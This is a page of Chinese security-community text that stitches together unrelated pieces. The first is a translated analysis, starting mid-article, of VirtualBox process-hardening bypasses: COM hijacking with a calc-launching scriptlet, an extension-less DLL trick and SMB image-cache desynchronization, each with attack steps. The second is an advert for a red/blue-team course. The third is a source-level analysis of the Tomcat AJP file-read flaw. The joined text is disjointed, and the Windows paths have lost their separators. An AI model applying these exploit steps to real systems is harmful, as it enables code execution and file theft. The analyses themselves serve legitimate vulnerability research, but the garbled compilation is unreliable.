劫持COM对象并不是一种新颖的技术，这种技术已经存在多年，许多恶意软件利用这种技术来[实现持久化](https://attack.mitre.org/wiki/Technique/T1122)目的。随着众人重拾对COM的兴趣，这种技术又再度出现在公众视野中。然而，除了UAC绕过之外，COM劫持很少用来权限提升场景中。
除此之外，UAC以及COM劫持之间还存在着联系，COM运行时会主动去防止劫持技术用于权限提升（EoP）场景，采用的具体方法是，如果当前进程处于高权限下，那么COM运行时就会禁用特定的用户注册表的读取。当然这种方法不是每次都能[成功](https://www.virusbulletin.com/uploads/pdf/conference_slides/2011/Larimer-VB2011.pdf)。只有当你将UAC当成一种安全防御屏障时，这种方法才行之有效，然而微软坚称他们从来没有也永远不会承认过这个观点。例如，2007年初的[这篇文章](https://blogs.msdn.microsoft.com/cjacks/2007/02/21/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista/)就明确指出这种方法是用于阻止权限提升操作。在我看来，COM的这种查找行为清楚地表明，UAC的设计初衷就是想成为一道安全屏障，然而，它并没有实现这一目标，因此只好被重新[包装](https://technet.microsoft.com/en-us/library/2007.06.uac.aspx)，用来帮助“开发者”开发更好的代码。
如果我们可以将自己的代码替换COM注册，那么我们应该就能实现在受保护的进程中运行代码。从理论上讲，所有的加固签名检查步骤应该都会阻止我们加载不可信的代码。在实际的研究过程中，我们还是应当具体尝试一下我们觉得会失败的那些操作，万一梦想实现就会收获巨大惊喜。经过尝试后，我们至少可以了解保护机制的具体工作流程。我在用户注册表中注册了一个COM对象，来劫持VirtualBoxClient类，将其指向一个未签名的DLL（实际上我使用了某个管理员账户将DLL的所有者改成
**TrustedInstaller** ，当然这只是为了测试方便）。当我尝试启动虚拟机时，程序弹出了如下对话框。
可能我在COM注册时犯了点错误，然而在另一个独立的应用程序中测试这个COM对象时，却显示一切正常。因此，这个错误很有可能意味着程序无法加载DLL。幸运的是，VBOX非常慷慨，默认就提供了所有进程加固事件的日志。日志名为
**VBoxHardening.log**
，位于当前虚拟机目录中的Logs文件夹中。在日志中查找DLL的名字，我们得到如下日志条目（我做了大量精简操作，以方便说明）：
supHardenedWinVerifyImageByHandle: -> -22900 (c:dummytestdll.dll)
supR3HardenedScreenImage/LdrLoadDll: c:dummytestdll.dll: Not signed.
supR3HardenedMonitor_LdrLoadDll: rejecting 'c:dummytestdll.dll'
supR3HardenedMonitor_LdrLoadDll: returns rcNt=0xc0000190
因此，可以确认的是我们的测试DLL没有签名，所以LdrLoadDll hook拒绝加载这个DLL。LdrLoadDll
hook返回了一个错误代码，这个代码会传递给COM DLL加载器，导致COM认为该类不存在。
虽然事情并不是简单通过指定自己的DLL就能完成（别忘了我们还修改了DLL的所有者属性），但这至少给了我们一丝希望，因为结果表明VBOX进程还是会使用我们劫持过的COM注册。因此，我们需要的就是满足以下条件的一个COM对象：
1、由可信证书进行签名。
2、所有者为TrustedInstaller。
3、当加载时，可以实现在进程中执行任意代码。
条件1以及条件2很容易就能满足，系统中所有的微软COM对象都经过可信证书签名（微软内置的某个发行商证书），并且大多对象的所有者为TrustedInstaller。然而，条件3看起来非常难以满足，COM对象通常是在DLL内部实现的，我们不能修改DLL文件，否则文件就会变成未签名状态。我们最终还是找到了这样一个文件，这是一个默认安装的经过微软签名的COM对象，可以帮助我们满足条件3，这就是[Windows脚本组件](https://technet.microsoft.com/en-us/library/ee692848.aspx)（Windows Script Components，WSC）。
WSC有时候也称之为Scriptlets（脚本小程序），是可以利用的优秀运行载体。从HTTP
URL加载时，我们可以使用WSC来[绕过AppLocker](http://subt0x10.blogspot.co.uk/2017/04/bypass-application-whitelisting-script.html)。在这里，最让我们感兴趣的是它们也可以注册为COM对象。
经过注册的WSC包含如下两个部分：
1、WSC运行时：scrobj.dll，承担进程内部的COM服务器角色。
2、包含Scriptlet实现的一个文件，由兼容的脚本语言编写而成。
当某个应用程序试图加载注册后的类时，scrobj.dll就会加载到内存中。这个COM运行时会请求对应类的一个新对象，导致WSC运行时会在注册表中查找与Scriptlet文件对应的那个URL。然后，WSC运行时会加载Scriptlet文件，在进程中执行文件内部包含的脚本。这里最关键的一点是，从VBOX角度来看，只要scrobj.dll（还有其他相关的脚本语言库，如JScript.dll）是合法的DLL签名文件，那么脚本代码就会得到运行机会，因为VBOX的加固代码永远不会去检查这些脚本代码。这样我们就能实现在加固进程内部运行任意代码的目的。首先，我们来确认scrobj.dll的确可以被VBOX加载。如下图所示，这个DLL经过微软的签名，并且其所有者为TrustedInstaller。
那么，有效的Scriptlet文件应该满足什么格式？Scriptlet文件是简单的XML文件，我不会去详细阐述每个XML元素所代表的含义，只会重点突出其中涉及任意JScript代码的脚本段。在这个例子中，当被加载时，Scriptlet会启动计算器（Calculator）进程：
<scriptlet>
<registration
description ="Component"
progid="Component"
version="1.00"
classid="{DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}"
/>
<public/>
<script language = "JScript" >
<![CDATA[
new ActiveXObject('WScript.Shell').Exec('calc');
]]>
</script>
</scriptlet>
如果你在JScript或者VBScript语言方面造诣颇深，那么你可能会注意到一个问题，如果这些语言不是通过COM对象来实现，那么它们就无法达成我们的目的。在上面这个Scriptlet文件中，如果我们不加载WScript.Shell这个COM对象，然后调用其Exec方法，那么我们就不能创建新的进程。为了与VBOX驱动交流（这是注入代码的必经之地），我们必须需要能够提供该功能的一个COM对象。我们不能在另一个COM对象中实现具体代码，因为这样就无法绕过镜像签名检查过程。当然，脚本引擎中存在许多[内存破坏漏洞](https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=javascript)，但我个人并不喜欢利用内存破坏漏洞，因此我们需要其他方法来实现任意代码执行。这时该轮到
.NET Framework上场了。
.NET运行时使用了常规的DLL加载方法来将代码加载到内存中。因此我们不能加载未签名的 .NET
DLL，因为VBOX加固代码会拦截这种行为。然而，.NET提供了一种[Assembly::Load](https://msdn.microsoft.com/en-us/library/h538bck7\(v=vs.110\).aspx)方法，利用这种方法可以通过内存中的数组来加载任意代码，并且一旦加载完成，这段代码看起来就如同原生代码（native
code）一样，可以调用任意API、检查或修改内存。由于
.NET平台经过微软的签名，因此我们需要做的就是从我们的Scriptlet文件中调用Load方法，然后我们就可以在进程内部获得完整的任意代码执行权限。
为了实现这个目标，我们应该从哪里开始呢？根据之[前一篇文章](https://googleprojectzero.blogspot.co.uk/2017/04/exploiting-net-managed-dcom.html)的研究结果，我们可以通过注册方式将.NET对象导出为COM对象，再通过二进制序列化（Binary
Serialization）方法，从字节数组中加载任意代码。许多.NET核心运行时类已经被自动注册为COM对象，脚本引擎可以加载并修改这些对象。现在，我们需要确定的是，BinaryFormatter究竟有没有导出为COM对象？
事实证明的确如此。BinaryFormatter是一个.NET对象，脚本引擎可以通过COM来加载这个对象并与之交互。现在，我们可以直接使用上一篇文章的二进制流，从内存中执行任意代码。在上一篇文章中，不可信代码的执行必须在反序列化过程中完成，在本文案例中，我们可以与脚本中的反序列化结果交互，这样一来，我们需要做的序列化操作就会大大简化。
最后我选择反序列化一个[Delegate](https://msdn.microsoft.com/en-us/library/system.delegate\(v=vs.110\).aspx)（委托）对象，当脚本引擎执行这个对象时，就会从内存中加载一个[Assembly](https://msdn.microsoft.com/en-us/library/system.reflection.assembly\(v=vs.110\).aspx)（程序集），并返回Assembly实例。然后，脚本引擎可以实例化Assembly中的一个Type实例，运行任意代码。原理上听起来很简单，实际操作起来还是有许多事项需要注意。我不想在这篇文章里面讲述具体的细节，以免打断整体节奏，你可以访问此链接获取[DotNetToJScript](https://github.com/tyranid/DotNetToJScript)这个工具，顺便了解工具的工作原理。此外，你可以访问[此链接](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=268607)获取PoC代码。从JSciprt组件到调用VBOX驱动的过程大概如下所示：
现在你已经可以在受保护进程中运行任意代码，我不会详细介绍利用VBOX驱动可以做哪些事情，这是另一个话题。当然你可以参考Jann写的[另一篇文章](https://bugs.chromium.org/p/project-zero/issues/detail?id=1091)，其中介绍了这种情况下，你可以在Linux系统上做的一些操作。
Oracle如何修复这个问题？他们添加了一个DLL黑名单，在[黑名单](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPHardenedVerifyImage-win.cpp?rev=67954#L146)中的DLL无法被受保护的VBOX进程加载。目前，这个名单中仅包含scrobj.dll这个文件。当开始验证文件时，程序就会验证文件是否位于黑名单中，程序会对当前文件名及版本资源内部的原始文件名（Original
Filename）进行检查。这样就能防止用户通过重命名文件绕过黑名单，并且版本资源数据位于签名的PE数据中，攻击者无法在不破坏签名的前提下修改内部的原始文件名。坦诚说来，除了DLL黑名单机制，我也想不出来有其他较好的方法能够阻止这类攻击。
**四、利用用户模式下的DLL加载方式**
我想介绍的第二个[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1257)为
**CVE-2017-10204** 漏洞，这个漏洞在VBOX 5.1.24版本中被修复。该漏洞利用了Windows
DLL加载器以及VBOX中的某些错误，诱导VBOX加固代码将未经验证的DLL加载到内存中并加以执行。
虽然这个漏洞不需要依赖前面描述过的COM加载逻辑，但用户模式下的COM加载技术的确非常好用，可以使用任意路径来调用[LoadLibrary](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175\(v=vs.85\).aspx)函数。因此我们会继续利用这种技术来劫持VirtualBoxClient
COM对象，利用进程内的服务器路径来加载DLL。
LoadLlibrary是一个Windows
API，该函数存在大量已知的非常奇怪的行为。就我们看来，其中最为有趣的一个行为就是该函数在文件扩展名方面的处理逻辑。根据具体扩展名的不同，LoadLibrary
API在加载文件之前，可能会添加或移除相应的扩展名。为此，我用一个表稍微总结了一下，表中显示了传递给LoadLibrary的具体扩展名以及该函数真正尝试加载的那个文件。
在上表中，我用绿色高亮了两种比较重要的情况。这两种情况下，传递给LoadLibrary的文件名与最终加载的文件名不一致。这里的问题在于，任何程序想在加载DLL之前验证该文件的话，就会用到CreateFile函数，而该函数并不会遵循我们高亮的那两种情况。因此在这两种情况下，如果我们使用原始文件名来打开文件并做签名校验，实际上我们最终加载的是另一个文件，因此我们要对另一个文件做签名校验。
在Windows中，普通代码与Kernel32代码之间通常 **存在明显的分离界限**
，Kernel32代码主要是负责处理Win32平台上已存在多年的许多奇怪行为，也负责处理内核通过 **NTDLL**
对外提供的“纯净”的NT逻辑层。由于LoadLibrary的实现位于Kernel32中，而LdrLoadDll的实现位于NTDLL中（LdrLoadDll也是VBOX加固代码所hook的那个函数），因此，前面提到的扩展名处理逻辑应该由前者来负责。我们可以分析一下简化版的LoadLibrary，看情况是否如此：
HMODULE LoadLibrary(LPCWSTR lpLibFileName)
{
UNICODE_STRING DllPath;
HMODULE ModuleHandle;
ULONG Flags = // Flags;
RtlInitUnicodeString(&DllPath, lpLibFileName);
if (NT_SUCCESS(LdrLoadDll(DEFAULT_SEARCH_PATH,
&Flags, &DllPath, &ModuleHandle))) {
return ModuleHandle;
}
return NULL;
}
从这段代码中可知，不论具体情况如何， **LoadLibrary** 只是 **LdrLoadDll**
的一个封装函数。虽然实际代码比上述代码更为复杂，但简而言之，当LdrLoadDll将文件路径传递给LdrLoadDll时，LoadLibrary并没有作修改，只是将其转换为
**UNICODE_STRING**
形式的字符串而已。因此，如果我们传入一个没有扩展名的DLL时，VBOX会检查无扩展名的文件的签名，而LdrLoadDll会使用.DLL扩展名来加载文件。
在我们开始测试之前，我们需要解决另一个问题，即文件的所有者需为 **TrustedInstaller**
。为了让VBOX检查我们所提供的文件的签名，我们只需要将某个已有的、经过合法签名的文件重命名即可，这个任务可以交给硬链接（hard
links）来完成。我们可以在某个可控的目录中创建一个不同的文件名，该文件实际上指向的是某个经过签名的系统文件，同时还可以维持文件的原始安全描述符属性（包括文件所有者属性）。正如我在两年前的[一篇文章](https://googleprojectzero.blogspot.co.uk/2015/12/between-rock-and-hard-link.html)中提到的那样，硬链接存在的问题是，虽然Windows支持创建指向系统文件的链接（当然你无法以写权限打开这些系统文件），然而Win32
API以及在CMD命令行中使用的“[mklink](https://technet.microsoft.com/en-us/library/cc753194\(v=ws.11\).aspx)”命令都需要以 **FILE_WRITE_ATTRIBUTES**
访问权限打开目标文件。我们不想使用其他程序来创建硬链接，因此我们复制了目标文件，但复制操作会修改文件的原始安全描述符，使得该文件所有者不再为TrustedInstaller。为了解决这一问题，我们来检查一下验证代码，看有没有方法能绕过这个难题。
文件所有者的检查主要在 **supHardenedWinVerifyImageByLdrMod** 函数中完成。这个函数做的第一件事情基本上就是调用
**supHardNtViCheckIsOwnedByTrustedInstallerOrSimilar**
函数，后者我们在之前已经见到过。然而，正如在源码中注释部分说明的那样，这段代码还允许使用System32以及WinSxS目录下所有者不为TrustedInstaller的那些文件。这些位置对检查过程来说简直是非常广阔的可利用点，我们要做的只是找到System32下可写入的一个目录。我们可以利用我开发的NtObjectManager
PS模块中的 **Get-AccessibleFile cmdlet** 来找到这些目录。
如上所述，有很多目录可以为我们所用，我们选择了Tasks目录作为目标，因为这个目录肯定会存在。因此，漏洞利用过程包含如下步骤：
1、将某个已签名的程序拷贝到 **%SystemRoot%System32TasksDummyABC**
2、将某个未签名的程序拷贝到 **%SystemRoot%System32TasksDummyABC.DLL**
3、注册COM劫持，将进程内的服务器指向步骤1中的已签名的文件路径。
如果你启动虚拟机，你会发现上述步骤的确能够成功。VBOX加固代码会检查ABC文件的签名，但LdrLoadDll最终加载的是ABC.DLL。为了确认我们没有利用涉及其他操作，我们来检查一下加固代码的日志：
..TasksdummyABC: Owner is not trusted installer
..TasksdummyABC: Relaxing the TrustedInstaller requirement for this DLL (it's in system32).
supHardenedWinVerifyImageByHandle: -> 0 (..TasksdummyABC)
supR3HardenedMonitor_LdrLoadDll: pName=c:..tasksdummyABC [calling]
前两行表明文件所有者属性的检查的确已被绕过，如我们预期的那样。接下来的两行表明程序验证通过ABC文件的签名，因此会调用LdrLoadDll，后者会添加文件的扩展名，尝试加载ABC.DLL。稍等，为什么NtCreateSection以及加载回调函数（Loader
Callback）没有捕捉到程序正在加载一个完全不同的文件？我们可以在加固日志中搜索ABC.DLL，看一下具体发生了什么：
..TasksdummyABC.dll: Owner is not trusted installer
..TasksdummyABC.dll: Relaxing the TrustedInstaller requirement for this DLL (it's in system32).
supHardenedWinVerifyImageByHandle: -> 22900 (..TasksdummyABC.dll)
supR3HardenedWinVerifyCacheInsert: ..TasksdummyABC.dll
supR3HardenedDllNotificationCallback: c:..tasksdummyABC.DLL
supR3HardenedScreenImage/LdrLoadDll: cache hit (Unknown Status 22900) on ...TasksdummyABC.dll
前面两行依然说明，我们文件所处的位置使得我们绕过了文件所有者的检查。接下来的一行，有关
**supHardenedWinVerifyImageByHandle**
的日志显得更为有趣。这个函数用来验证镜像文件。我在上文展示的日志中提到过这个函数，当时这个函数返回的是-22900，这个值表明有错误发生。然而，在上面的日志中，这个函数返回的是22900，VBOX将任何大于等于0的返回值都当成成功的返回值，加固代码没见过这种返回值，因此也会认为这个文件为有效的文件。在源代码中，负值的错误代码为
**VERR_LDRVI_NOT_SIGNED** ，正值的“成功”代码为 **VINF_LDRVI_NOT_SIGNED** 。
貌似验证代码在调用[DLL Loader Lock](https://msdn.microsoft.com/en-us/library/windows/desktop/dn633971\(v=vs.85\).aspx)中的代码时存在错误，这与
**NtCreateSection**
中的hook情况类似。当代码尝试加载另一个DLL时，它就无法调用WinVerifyTrust，因此会发生死锁现象。通常情况下，内部签名检查代码会返回
**VINF_LDRVI_NOT_SIGNED**
。现有的代码实现只能处理具有内嵌签名的文件，因此如果某个文件没有经过签名，程序就会返回一个信息代码，促使验证代码来检查文件是否经过catalog（.cat）签名。正常情况下，
**WinVerifyTrust** 会被调用，如果文件仍然没有经过签名，那么该函数就会返回错误代码。然而，由于死锁问题，
**WinVerifyTrust** 无法被调用，因此信息代码会广播给调用者，作为成功代码加以使用。
最后一个问题，为什么最终的加载回调函数没有捕捉到未签名的文件？VBOX基于文件路径实现了一种签名文件缓存机制，以避免某个文件被多次检查。当程序认为
**supHardenedWinVerifyImageByHandle** 调用成功时，就会调用
**supR3HardenedWinVerifyCacheInsert**
，将该路径添加到缓存的“成功”结果中。我们可以观察到，在加载器回调函数中，程序尝试验证文件，但会从缓存中得到一个“成功”代码，因此会假设一切正常，从而加载过程可以顺利完成。
这一过程涉及到许多交互操作，那么Oracle如何修复这个问题？如果DLL文件没有扩展名，Oracle就会添加相应的[扩展名](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPR3HardenedMain-win.cpp?rev=67954#L1913)。此外，Oracle针对另一种文件名情况也作了相应处理（加载DLL时会删除文件名尾部的附加字符）。
**五、利用内核模式下的镜像加载方式**
****
我想介绍的最后一个[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1296)为CVE-2017-10129漏洞，这个漏洞在VBOX
5.1.24版本中被修复。该漏洞实际上并不算是VBOX的漏洞，因为它属于Windows的一种异常行为。
我们需要注意的是，加固代码中存在隐式的条件竞争现象，具体说来，我们可以在验证点以及文件映射点之间修改文件。从理论上讲，我们可以将这种操作应用于VBOX上，但可利用的时间窗口非常短。我们可以选择使用OPLOCK（机会锁）以及类似机制，但这类机制有点麻烦，还不如使用TOCTOU（time-of-check-to-time-of-use）攻击方法。
我们来看看镜像文件在内核中的处理过程。在Windows上执行镜像文件的映射操作是非常麻烦的一件事情，操作系统没有使用位置无关的代码，因此无法将DLL作为简单的文件直接映射到内存中。相反的是，DLL必须重新定位到特定的内存地址。这个过程需要修改DLL文件对应的内存页面，以确保任何相关的指针都被正确修复。当涉及到ASLR时，这个步骤显得更为重要，因为ASLR基本上都会强迫DLL在其基地址基础上进行重新定位。因此，只要条件允许，Windows就会缓存镜像映射的实例，这也是为什么DLL的加载地址在同一个系统的不同进程中不会发生变化的原因，因为它使用的是同一个缓存镜像数据。
缓存实际上位于文件系统驱动的控制之下。当某个文件被打开时，IO管理器会分配[FILE_OBJECT](https://msdn.microsoft.com/en-us/library/windows/hardware/ff545834\(v=vs.85\).aspx)结构体的一个新实例，将该实例传递给驱动的IRPMJCREATE处理程序。驱动可以初始化里面的SectionObjectPointer字段。这个字段对应的是SECTIONOBJECTPOINTERS结构体的一个实例，该结构体的定义如下所示：
struct SECTION_OBJECT_POINTERS {
PVOID DataSectionObject;
PVOID SharedCacheMap;
PVOID ImageSectionObject;
};
这些字段本身由缓存管理器负责管理，但结构体本身必须由文件系统驱动来进行分配。更具体的是，每个文件在文件系统中都对应着不同的分配操作。虽然对某个文件而言，每个打开实例都具有不同的
**FILE_OBJECT**
实例，但SectionObjectPointer只有一个。这样一来，缓存管理器就可以填充结构体中的不同字段，当同一个文件的另一个实例需要映射时，缓存管理器就能重新使用这些字段。
这些字段中，比较重要的字段是 **ImageSectionObject**
，该字段包含映射镜像数据所对应的缓存数据。我不会去深入分析ImageSectionObject指针所包含的具体细节，因为这与文章主题关系不大。重要的是，如果某个FILE_OBJECT实例对应的SectionObjectPointer以及ImageSectionObject指针完全一致，那么将该文件映射为镜像的话，也会映射已缓存的相同镜像。然而，当读取某个文件时并没有用到ImageSectionObject指针，因此系统并没有去检查缓存与硬盘上的实际文件是否相匹配。
在NTFS卷环境下，想要取消SectionObjectPointer的文件数据同步是非常棘手的一件事，特别是当我们没有管理员权限时更是如此。在某种场景下，我们在访问网络共享时，可以借助SMB转向器（redirector）实现数据去同步目的。原理非常简单，当打开远程服务器上的文件时，需要由本地转向器来负责分配SectionObjectPointer结构体的实例。就转向器而言，如果它分两次打开服务器上的“
**ShareFile.dll**
”文件，那么它会认为这两个文件属于同一个文件。转向器没有额外的信息可以使用，无法判断文件的真实身份，因此只能靠猜测来执行具体操作。因此，你能想到的所有属性（比如对象ID（[Object
ID](https://msdn.microsoft.com/en-us/library/windows/hardware/ff540335\(v=vs.85\).aspx)）、修改时间等）都可能是虚假信息。你可以修改SAMBA的副本来实现欺骗目的。此外，转向器无法锁定文件，也无法确保文件处于锁定状态。因此，转向器似乎放弃了这个任务，如果它看到了同一个文件，那么它就会认为一切都处于正常状态。
然而，这种场景仅适用于SectionObjectPointer，如果调用者想读取文件的内容，那么SMB转向器就会退出这种场景，尝试去读取文件的当前状态。此时依然存在虚假信息的可能，因为服务器还是可以返回任意数据。这也是我们为什么能完成去同步化任务，如果我们从SMB服务器上映射某个镜像文件，修改文件底层数据，然后重新打开这个文件，再次映射这个镜像，那么被映射的镜像对应的是已缓存的那个镜像，但读取的数据来自于服务器上的当前文件。这样一来，我们可以先映射一个不可信的DLL，然后将这个文件替换为经过签名的有效文件（SMB支持读取文件的所有者信息，所以我们也能实现伪造所有者为TrustedInstaller的目的），当VBOX试图加载这个文件时，它会验证经过签名的文件，但会映射已缓存的不可信镜像，然而它自己却没有意识到这一点。
很多时候我们无法使用远程服务器，然而我们可以使用本地环回（loopback）SMB服务器，然后通过admin共享（admin$）来访问文件。admin共享其实名不副实，如果我们从本地主机来访问，那么除管理员之外的用户也可以访问这个共享资源。完成这一任务的关键是使用目录连接（Direcory
Junction）技术。Junction点由服务器负责解析，转向器无法获取Junction点的任何信息。因此，在客户端看来，如果客户端之前打开过“
**localhostc$DirFile.dll** ”这个文件，然后重新打开这个文件，那么这两次打开的文件可能是完全不同的文件，整个流程如下图所示：
幸运的是，根据前面两个问题的分析结果，我们知道VBOX的加固代码并不在意DLL文件的具体位置，只要能够满足两个条件即可，即文件所有者为TrustedInstaller且文件经过合法签名。我们可以将COM劫持指向本地系统中的某个SMB共享。因此，我们可以按照如下步骤实施攻击：
1、在C:盘上设置一个junction点，将其指向我们不可信文件所在的那个目录。
2、在c$ admin共享的junction点上使用LoadLibrary映射这个文件，在攻击过程结束之前，不要释放映射文件。
3、修改junction点，将其指向一个有效的经过签名的文件，文件名与我们不可信文件的文件名一致。
4、将COM劫持指向这个文件，然后启动VBOX。VBOX会读取文件，验证文件经过签名并且文件所有者为TrustedInstaller，然而当它使用这个文件时，实际上使用的是已缓存的不可信的镜像数据。
那么Oracle如何修复这个问题？Oracle会将文件路径与“[DeviceMup](https://www.virtualbox.org/browser/vbox/trunk/src/VBox/HostDrivers/Support/win/SUPR3HardenedMain-win.cpp?rev=67981#L1644)”前缀进行对比，以验证映射的文件是否位于网络共享中。
**六、总结**
****
VirtualBox中实现的进程加固机制非常复杂，因此也非常容易出错。我敢肯定的是，只要人们用心去寻找，还能找到其他方法来绕过进程保护机制。当然，如果Oracle不想保护VirtualBox内核驱动免受恶意攻击场景利用，那么这一切都不是问题，然而这属于设计理念问题，短时间内很难解决。 | 社区文章 |
# 2023热血再燃|网络安全攻防演练实战公开课来袭！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
凤凰网资讯截图
**国际上网络空间已经成为新战场**
1、全球已有超过30个国家宣布其设立了军事网络部门
2、美国公开对主权国家实施网络战，美军网络作战走向制式化
3、北约“锁盾演习”、美国“网络风暴演习”、中国“攻防实战对抗演习”
**谷安2023网络安全攻防演练实战公开课**
**火力全开🔥**
**直播时间** ： **3月29日（周三） 19:30**
**直播内容**
**重点介绍**
**红队：** 红队攻防经验与常用技术分析
**演示：** 模拟内网环境实战性演示红队常用攻击手段
**蓝队：** 针对常见攻击手段总结介绍有效预防措施
>>>更多烧脑内容直播间见
**扫码进直播群**
**感受一下实战演示的刺激！**
**大咖助阵**
**刘隽良** 一线安全专家
1. 拥有安全全栈从业经历，历任华为网络安全工程师、默安科技安全解决方案专家、蚂蚁金服安全运营专家以及美创科技安全实验室负责人；
2. 多年网络安全从业经验，擅长网络攻防、漏洞挖掘、安全协议分析以及数据安全与隐私保护等方向；
3. 出版计算机技术著作 4 部；贡献 10+项 CVE；发表 2 篇 SCI 收录论文、4 篇国内期刊论文、14 项发明专利以及多项软著；
4. 获有 OSWE、OSCP、 OSWP、CISSP、CISA 等 20 项行业认证证书。
部分课件截图分享
部分课件截图分享
攻击路径如何收敛？如何摸排？
如何欺骗？
安全意识如何提升？如何溯源反制？
希望通过本次直播帮助大家认识网络攻防演练，提供一种思路，提升攻防实战能力！ | 社区文章 |
## 漏洞描述
编号：CVE-2020-1938/CNVD-2020-10487
细节：Tomcat服务器存在文件包含漏洞，攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件，如：webapp配置文件或源代码等。
POC：[https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi]()
## 影响范围
* Apache Tomcat 6
* Apache Tomcat 7 < 7.0.100
* Apache Tomcat 8 < 8.5.51
* Apache Tomcat 9 < 9.0.31
## 漏洞成因
### 两个配置文件
Tomcat在部署时有两个重要的配置文件`conf/server.xml`、`conf/web.xml`。前者定义了tomcat启动时涉及的组件属性，其中包含两个connector（用于处理请求的组件）：
<!-- A "Connector" represents an endpoint by which requests are received
and responses are returned. Documentation at :
Java HTTP Connector: /docs/config/http.html
Java AJP Connector: /docs/config/ajp.html
APR (HTTP/AJP) Connector: /docs/apr.html
Define a non-SSL/TLS HTTP/1.1 Connector on port 8080
-->
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
与此对应，tomcat启动后会监听8080、8009端口，它们分别负责接受http、ajp协议的数据。后者则和普通的java
Web应用一样，用来定义servlet，这里是tomcat内建的几个servlet：
<!-- The default servlet for all web applications, that serves static -->
<!-- resources. It processes all requests that are not mapped to other -->
<!-- servlets with servlet mappings (defined either here or in your own -->
<!-- web.xml file). -->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
**** SNIP ****
<load-on-startup>1</load-on-startup>
</servlet>
<!-- The default servlet for all web applications, that serves static -->
<!-- resources. It processes all requests that are not mapped to other -->
<!-- servlets with servlet mappings (defined either here or in your own -->
<!-- web.xml file). -->
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
**** SNIP ****
<load-on-startup>3</load-on-startup>
</servlet>
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
就像注解中描述的default servlet用来处理所有未被匹配到其他servlet的uri请求，jsp
servlet用来处理以.jsp、.jspxz做后缀名的uri请求，这俩都随tomcat一起启动。
### tomcat结构简介
tomcat的整体架构如上图所示，一个tomcat就是一个server，其中可以包含多个service（这里指是一个抽象的逻辑层）。而每个service由Connector、Container、Jsp引擎、日志等组件构成，与此次漏洞相关的组件主要是前两者。
Connector前面已经说过，是用来接受客户端的请求，请求中的数据包在被Connector解析后就会由Container处理。这个过程大致如下图：
Container中可以包含多个Host（虚拟主机，同Apache中定义），一个Host对应一个域名，因此Tomcat也可以配置多域名；每个Host又可以有多个Context，每个context其实就是一个web应用；而context下又有多个Wrapper，wrapper和servlet一一对应，只是它封装了一些管理servlet的函数。更进一步，客户端请求就交由servlet进入应用级的处理逻辑。
### 有问题的代码段一
tomcat默认监听的8009端口用来处理AJP协议。AJP协议建立在TCP socket通信之上，tomcat使用该协议和前级的Web
Server传递信息，这次的漏洞就出在客户端可以利用ajp协议数据包控制request对象的一些字段。
具体地，tomcat源码的`org.apache.coyote.ajp.AjpProcessor`类的`service()`方法如下：
它调用的`prepareRequest()`方法用来解析一些请求头，部分内容如下：
可以看到，当ajp数据包的头设置为`SC_REQ_ATTRIBUTE`时（具体数值可以查询AJP协议规范）,Connector会紧接着读取变量`n`（属性名）和`v`（值），当`n`不是`SC_A_REQ_LOCAL_ADDR`、`SC_A_REQ_REMOTE_PORT`、`SC_A_SSL_PROTOCOL`时，就会用`v`来赋值属性`n`。接着，`service()`方法将修改过的request代入后面的调用。
前面提到，当请求的uri无法匹配其他servlet时会由DefaultServlet处理，其中的调用流程如下图所示：
在`org.apache.catalina.servlets.DefaultServlet`中，当我们的请求声明的是GET方法时，存在调用`service()->doGet()->serveResource()`，分析`serveResource()`代码如下：
其调用的`getRelativePath()`方法内容如下：
protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
String servletPath;
String pathInfo;
if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
} else{
......
}
StringBuilder result = new StringBuilder();
if (servletPath.length() > 0) {
result.append(servletPath);
}
if (pathInfo != null) {
result.append(pathInfo);
}
......
return result.toString();
}
从`javax.servlet.RequestDispatcher`中可以看到这三个属性的名称：
static final String INCLUDE_REQUEST_URI = "javax.servlet.include.request_uri";
static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_info";
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.servlet_path";
所以，我们就能通过AJP协议改变request的这三个属性来控制请求的路径，`serveResource()`方法获得path后的代码大致如下：
/*
* serveResource()方法后续
*/
......
WebResource resource = resources.getResource(path);
......
ServletOutputStream ostream = null;
ostream = response.getOutputStream();
......
byte[] resourceBody = resource.getContent();
if (resourceBody == null) {
......
} else {
// Use the resource content directly
ostream.write(resourceBody);
}
......
它会直接把通过path获取的资源序列化输出，因此客户端再按照AJP协议解析数据包就能得到文件内容。
### 有问题的代码段二
同样的道理，tomcat默认将jsp/jspx结尾的请求交给`org.apache.jasper.servlet.JspServlet`处理，它的`service()`方法如下：
可以看到jspUri也是由两个可控的属性定义的，后续代码：
/**
* service()方法后续
*/
......
try {
boolean precompile = preCompile(request);
serviceJspFile(request, response, jspUri, precompile);
} catch (RuntimeException e) {
......
}
}
